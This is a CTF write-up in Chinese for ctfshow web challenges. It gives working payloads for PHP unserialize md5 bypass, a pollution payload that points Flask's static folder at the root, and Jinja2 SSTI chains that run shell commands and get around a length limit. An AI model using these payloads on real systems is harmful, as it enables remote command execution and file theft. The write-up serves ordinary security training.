ctfshow 单身杯 web部分wp

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签到·好玩的PHP

源码：

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfshow {private $d = '';private $s = '';private $b = '';private $ctf = '';public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {$dsb = $this->d.$this->s.$this->b;if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {if (md5($dsb) === md5($this->ctf)) {echo file_get_contents("/flag.txt");}}}}}
}unserialize($_GET["dsbctf"]); 

需要值不同而 md5 相同，有长度限制不能进行强碰撞，尝试数组绕过也不行，这里注意到可以让其类型不同而值相同进行绕过，构造 pop 链

<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow {public $d = '';public $s = '';public $b = '';public $ctf = '';public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {$dsb = $this->d.$this->s.$this->b;if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {if (md5($dsb) === md5($this->ctf)) {echo file_get_contents("/flag.txt");}}}}}}$a=new ctfshow();
$a->ctf=123;
$a->d='1';
$a->s='2';
$a->b='3';
echo serialize($a);

最后得到 flag

ez_inject

开题，有注册功能和登录功能，随便注册一个账户进行登录

点击 chat，提示存在原型链污染

那么直接污染静态目录为根目录

"__init__":{"__globals__":{"app" : {"static_folder" :"./../../../../../../" }}}

访问/static/flag

最后得到 flag

ezzz_ssti

测试发现存在 ssti

直接上 payload

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

提示，

发现存在长度限制，限制长度为 40，直接搜 ssti 长度限制，可以利用全局变量进行绕过，最后构造 payload

{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("ls").read()}}
#{{config.p("cat /f*").read()}}

得到 flag

参考：https://blog.csdn.net/weixin_43995419/article/details/126811287